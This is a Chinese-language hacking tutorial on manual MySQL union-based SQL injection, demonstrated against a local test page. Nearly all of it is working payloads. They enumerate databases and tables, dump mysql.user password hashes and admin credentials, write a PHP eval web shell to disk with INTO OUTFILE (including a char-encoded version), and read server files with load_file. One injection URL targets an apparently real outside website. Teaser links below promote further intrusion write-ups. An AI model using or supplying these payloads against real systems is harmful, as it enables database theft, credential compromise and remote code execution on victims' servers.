手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 183
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

XSS Phishing - 新式跨站脚本攻击方式(图)

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞! 跨站脚本攻击最大的魅力是通过HTML注
收藏 0 赞 0 分享

PHP数据库安全之SQL注入

$offset = $argv[0]; // 注意,没有输入验证!   $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";   $resu
收藏 0 赞 0 分享

传世木马盗号过程分析

玩传世已经有一段时间了,以前对木马盗号之类的事情总是听的很多,但是从来没有碰到过,自从玩了传世开始,让小弟我着实领教了一次什么叫木马盗号,那个厉害阿。以至于现在上网都怕怕,怕中招。好废话不说,来分析一下木马盗号的原理(如果有那位大侠认为不够准确或是原理有所出入
收藏 0 赞 0 分享

浅析*NIX机器的入侵

目前来说*NIX机器早已经成为INTERNRT的主流服务器操作系统了,UNIX系列系统的优势相WINDOWS比较而言优势也是显而易见的。 而与之接口的脚本目前来说是以PHP MYSQL为主。当然也不乏大公司用JSP和CGI和PL,不过CGI和PL的处理相对比较困难一点,容易造
收藏 0 赞 0 分享

一次透过SNIFF有目的性的入侵

一次透过SNIFF有目的性的入侵 所用武器:流光,SUPERSCAN3,HDOOR,NETCAT,3389客户端,X-SNIFF 宿舍装了ADSL,我疯狂地在网上看电影和在QQ里泡MM(也可能是恐龙吧 :( )。网络入侵和安全方面的学习已经荒废了好一段时间
收藏 0 赞 0 分享

渗透日本服务器群

因为这一局,渗透获取整个服务器群的权限,N台服务器。所以写篇文章小小虚荣下。^0^ 开局: 入手点是一个注射点:sa,内网, 轻车熟路写个vbs脚本,下好lcx,转发端口。 以下是引用片段: down.vbs iLocal = LCase(WScript.Ar
收藏 0 赞 0 分享

黑客入侵“在线影院”全过程2

遇阻:寻找VOD电影   首先运行Windows XP自带远程登录器mstsc.exe,填入对方的IP地址218.147.*.*,确定后在登录界面填上我刚创建的用户名hacker和密码12345,顺利地进入了对方的Windows 2000桌面。   可随后
收藏 0 赞 0 分享

黑客入侵“在线影院”全过程1

最近对网上看电影比较感兴趣,于是登录至某“在线影院”。本以为是免费,谁知问我要账号和密码,我可不想为这个掏钱。怎么办?先探探路
收藏 0 赞 0 分享

入侵藏在防火墙后面的机子

事情是这样的: 遭遇一台湾的dns服务器,win2003 server 扫描器报告的开放端口:21,53,80 ok,弄到一个sa权限的注射点,很爽得拿到一个webshell,透过sqlrootkit,俺就是system权限了.本以为对方菜到家了.谁知故事才刚刚开始.
收藏 0 赞 0 分享

看清黑客穿透ADSL路由入侵内网

也许看烂了网上已有的常规黑客攻击手段,对一些陈旧的入侵手法早已厌烦,近来我对ADSL MODEM的路由功能产生了浓厚的兴趣,经过一番努力,我终于找到了穿透ADSL路由入侵内网的方法,在这里和各位一起分享我的心得。 一.扫描 现在很多ADSL MODEM都是通过80、2
收藏 0 赞 0 分享
查看更多